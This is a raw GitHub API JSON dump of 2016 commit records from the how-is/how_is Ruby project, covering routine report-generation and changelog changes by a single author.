ASCII-8BIT string: '[{"sha":"7620f072228f67bf74930e697957e8c0f33bded4","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzYyMGYwNzIyMjhmNjdiZjc0OTMwZTY5Nzk1N2U4YzBmMzNiZGVkNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T15:25:01Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T15:25:01Z"},"message":"Include newest issue/PR in report.","tree":{"sha":"f0cc11b4257ef945b34c47ad76fe922779fb6a59","url":"https://api.github.com/repos/how-is/how_is/git/trees/f0cc11b4257ef945b34c47ad76fe922779fb6a59"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7620f072228f67bf74930e697957e8c0f33bded4","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7620f072228f67bf74930e697957e8c0f33bded4","html_url":"https://github.com/how-is/how_is/commit/7620f072228f67bf74930e697957e8c0f33bded4","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7620f072228f67bf74930e697957e8c0f33bded4/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"83429771932c394d4767b30984dbb8f4be8d0a5b","url":"https://api.github.com/repos/how-is/how_is/commits/83429771932c394d4767b30984dbb8f4be8d0a5b","html_url":"https://github.com/how-is/how_is/commit/83429771932c394d4767b30984dbb8f4be8d0a5b"}]},{"sha":"7abb73d43aad33197a10e5ae5ca4bf1096a0c4b0","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6N2FiYjczZDQzYWFkMzMxOTdhMTBlNWFlNWNhNGJmMTA5NmEwYzRiMA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T15:20:40Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T15:20:40Z"},"message":"Add things to changelog.","tree":{"sha":"55d5e8d85d383cfd5b4c9093e7308d48400e8d5d","url":"https://api.github.com/repos/how-is/how_is/git/trees/55d5e8d85d383cfd5b4c9093e7308d48400e8d5d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7abb73d43aad33197a10e5ae5ca4bf1096a0c4b0","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7abb73d43aad33197a10e5ae5ca4bf1096a0c4b0","html_url":"https://github.com/how-is/how_is/commit/7abb73d43aad33197a10e5ae5ca4bf1096a0c4b0","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7abb73d43aad33197a10e5ae5ca4bf1096a0c4b0/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"c864b5de85e98b605a2303290a8c601040a92c45","url":"https://api.github.com/repos/how-is/how_is/commits/c864b5de85e98b605a2303290a8c601040a92c45","html_url":"https://github.com/how-is/how_is/commit/c864b5de85e98b605a2303290a8c601040a92c45"}]},{"sha":"83429771932c394d4767b30984dbb8f4be8d0a5b","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODM0Mjk3NzE5MzJjMzk0ZDQ3NjdiMzA5ODRkYmI4ZjRiZThkMGE1Yg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T15:11:31Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T15:11:31Z"},"message":"Re-generate example JSON report.","tree":{"sha":"4ca73d300face2b9162b623a36cb146a69fc468a","url":"https://api.github.com/repos/how-is/how_is/git/trees/4ca73d300face2b9162b623a36cb146a69fc468a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/83429771932c394d4767b30984dbb8f4be8d0a5b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/83429771932c394d4767b30984dbb8f4be8d0a5b","html_url":"https://github.com/how-is/how_is/commit/83429771932c394d4767b30984dbb8f4be8d0a5b","comments_url":"https://api.github.com/repos/how-is/how_is/commits/83429771932c394d4767b30984dbb8f4be8d0a5b/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"f7814864f154ea93124c4c0727ee3ff4f51e8a7a","url":"https://api.github.com/repos/how-is/how_is/commits/f7814864f154ea93124c4c0727ee3ff4f51e8a7a","html_url":"https://github.com/how-is/how_is/commit/f7814864f154ea93124c4c0727ee3ff4f51e8a7a"}]},{"sha":"f7814864f154ea93124c4c0727ee3ff4f51e8a7a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Zjc4MTQ4NjRmMTU0ZWE5MzEyNGM0YzA3MjdlZTNmZjRmNTFlOGE3YQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T15:08:38Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T15:08:38Z"},"message":"Generate pretty JSON.","tree":{"sha":"ac869f32e4c4879958b514f253c87aa1c8e5a6ba","url":"https://api.github.com/repos/how-is/how_is/git/trees/ac869f32e4c4879958b514f253c87aa1c8e5a6ba"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/f7814864f154ea93124c4c0727ee3ff4f51e8a7a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/f7814864f154ea93124c4c0727ee3ff4f51e8a7a","html_url":"https://github.com/how-is/how_is/commit/f7814864f154ea93124c4c0727ee3ff4f51e8a7a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/f7814864f154ea93124c4c0727ee3ff4f51e8a7a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"02f3942f29cf568999a962fb2efe6cc6de1f977c","url":"https://api.github.com/repos/how-is/how_is/commits/02f3942f29cf568999a962fb2efe6cc6de1f977c","html_url":"https://github.com/how-is/how_is/commit/02f3942f29cf568999a962fb2efe6cc6de1f977c"}]},{"sha":"02f3942f29cf568999a962fb2efe6cc6de1f977c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MDJmMzk0MmYyOWNmNTY4OTk5YTk2MmZiMmVmZTZjYzZkZTFmOTc3Yw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T15:07:44Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T15:07:48Z"},"message":"Remove duplicate .first call.","tree":{"sha":"4ea4d6177931c5104de5a4aee6c5438e290efa7e","url":"https://api.github.com/repos/how-is/how_is/git/trees/4ea4d6177931c5104de5a4aee6c5438e290efa7e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/02f3942f29cf568999a962fb2efe6cc6de1f977c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/02f3942f29cf568999a962fb2efe6cc6de1f977c","html_url":"https://github.com/how-is/how_is/commit/02f3942f29cf568999a962fb2efe6cc6de1f977c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/02f3942f29cf568999a962fb2efe6cc6de1f977c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"ee501c29eda99510388c158f3808f0a1449672e7","url":"https://api.github.com/repos/how-is/how_is/commits/ee501c29eda99510388c158f3808f0a1449672e7","html_url":"https://github.com/how-is/how_is/commit/ee501c29eda99510388c158f3808f0a1449672e7"}]},{"sha":"ee501c29eda99510388c158f3808f0a1449672e7","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZWU1MDFjMjllZGE5OTUxMDM4OGMxNThmMzgwOGYwYTE0NDk2NzJlNw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T15:02:33Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T15:02:33Z"},"message":"Track newest issue/PR in Analyzer.","tree":{"sha":"c779be2aec9a2d13e7564209987a90323475f9be","url":"https://api.github.com/repos/how-is/how_is/git/trees/c779be2aec9a2d13e7564209987a90323475f9be"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ee501c29eda99510388c158f3808f0a1449672e7","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ee501c29eda99510388c158f3808f0a1449672e7","html_url":"https://github.com/how-is/how_is/commit/ee501c29eda99510388c158f3808f0a1449672e7","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ee501c29eda99510388c158f3808f0a1449672e7/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"c864b5de85e98b605a2303290a8c601040a92c45","url":"https://api.github.com/repos/how-is/how_is/commits/c864b5de85e98b605a2303290a8c601040a92c45","html_url":"https://github.com/how-is/how_is/commit/c864b5de85e98b605a2303290a8c601040a92c45"}]},{"sha":"c864b5de85e98b605a2303290a8c601040a92c45","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Yzg2NGI1ZGU4NWU5OGI2MDVhMjMwMzI5MGE4YzYwMTA0MGE5MmM0NQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T14:27:59Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-11-25T14:27:59Z"},"message":"Merge pull request #83 from how-is/issue-pr-info-list\n\nConvert issue/PR info to a list.","tree":{"sha":"87edf5ae5792ad67dd7c3bb1abd23b09b4845a49","url":"https://api.github.com/repos/how-is/how_is/git/trees/87edf5ae5792ad67dd7c3bb1abd23b09b4845a49"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/c864b5de85e98b605a2303290a8c601040a92c45","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/c864b5de85e98b605a2303290a8c601040a92c45","html_url":"https://github.com/how-is/how_is/commit/c864b5de85e98b605a2303290a8c601040a92c45","comments_url":"https://api.github.com/repos/how-is/how_is/commits/c864b5de85e98b605a2303290a8c601040a92c45/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"88660e5222a99751c88554eb1551294f27972778","url":"https://api.github.com/repos/how-is/how_is/commits/88660e5222a99751c88554eb1551294f27972778","html_url":"https://github.com/how-is/how_is/commit/88660e5222a99751c88554eb1551294f27972778"},{"sha":"5b3ce345852222811712252cb03a8b878ee79183","url":"https://api.github.com/repos/how-is/how_is/commits/5b3ce345852222811712252cb03a8b878ee79183","html_url":"https://github.com/how-is/how_is/commit/5b3ce345852222811712252cb03a8b878ee79183"}]},{"sha":"5b3ce345852222811712252cb03a8b878ee79183","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NWIzY2UzNDU4NTIyMjI4MTE3MTIyNTJjYjAzYThiODc4ZWU3OTE4Mw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T14:22:49Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T14:22:49Z"},"message":"Re-generate example report.","tree":{"sha":"87edf5ae5792ad67dd7c3bb1abd23b09b4845a49","url":"https://api.github.com/repos/how-is/how_is/git/trees/87edf5ae5792ad67dd7c3bb1abd23b09b4845a49"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/5b3ce345852222811712252cb03a8b878ee79183","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/5b3ce345852222811712252cb03a8b878ee79183","html_url":"https://github.com/how-is/how_is/commit/5b3ce345852222811712252cb03a8b878ee79183","comments_url":"https://api.github.com/repos/how-is/how_is/commits/5b3ce345852222811712252cb03a8b878ee79183/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"eb7ba53487203b2e21a4d5d1dc0bd94a3352e0a2","url":"https://api.github.com/repos/how-is/how_is/commits/eb7ba53487203b2e21a4d5d1dc0bd94a3352e0a2","html_url":"https://github.com/how-is/how_is/commit/eb7ba53487203b2e21a4d5d1dc0bd94a3352e0a2"}]},{"sha":"eb7ba53487203b2e21a4d5d1dc0bd94a3352e0a2","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZWI3YmE1MzQ4NzIwM2IyZTIxYTRkNWQxZGMwYmQ5NGEzMzUyZTBhMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T14:21:39Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T14:21:39Z"},"message":"Convert issue_or_pr_summary to list.","tree":{"sha":"1bbb87142f48f9ce6427db8526ad75b58c0e603f","url":"https://api.github.com/repos/how-is/how_is/git/trees/1bbb87142f48f9ce6427db8526ad75b58c0e603f"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/eb7ba53487203b2e21a4d5d1dc0bd94a3352e0a2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/eb7ba53487203b2e21a4d5d1dc0bd94a3352e0a2","html_url":"https://github.com/how-is/how_is/commit/eb7ba53487203b2e21a4d5d1dc0bd94a3352e0a2","comments_url":"https://api.github.com/repos/how-is/how_is/commits/eb7ba53487203b2e21a4d5d1dc0bd94a3352e0a2/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"74650309e065e4272f8ed92f0a3fd2746ee0d505","url":"https://api.github.com/repos/how-is/how_is/commits/74650309e065e4272f8ed92f0a3fd2746ee0d505","html_url":"https://github.com/how-is/how_is/commit/74650309e065e4272f8ed92f0a3fd2746ee0d505"}]},{"sha":"74650309e065e4272f8ed92f0a3fd2746ee0d505","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzQ2NTAzMDllMDY1ZTQyNzJmOGVkOTJmMGEzZmQyNzQ2ZWUwZDUwNQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T14:18:30Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T14:18:30Z"},"message":"Reorder methods in how_is/report/html","tree":{"sha":"9d02c7bf1282fa9be2d721abefec3304dddcf01b","url":"https://api.github.com/repos/how-is/how_is/git/trees/9d02c7bf1282fa9be2d721abefec3304dddcf01b"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/74650309e065e4272f8ed92f0a3fd2746ee0d505","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/74650309e065e4272f8ed92f0a3fd2746ee0d505","html_url":"https://github.com/how-is/how_is/commit/74650309e065e4272f8ed92f0a3fd2746ee0d505","comments_url":"https://api.github.com/repos/how-is/how_is/commits/74650309e065e4272f8ed92f0a3fd2746ee0d505/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"7c3fad6e563109436f77043843774708891c110a","url":"https://api.github.com/repos/how-is/how_is/commits/7c3fad6e563109436f77043843774708891c110a","html_url":"https://github.com/how-is/how_is/commit/7c3fad6e563109436f77043843774708891c110a"}]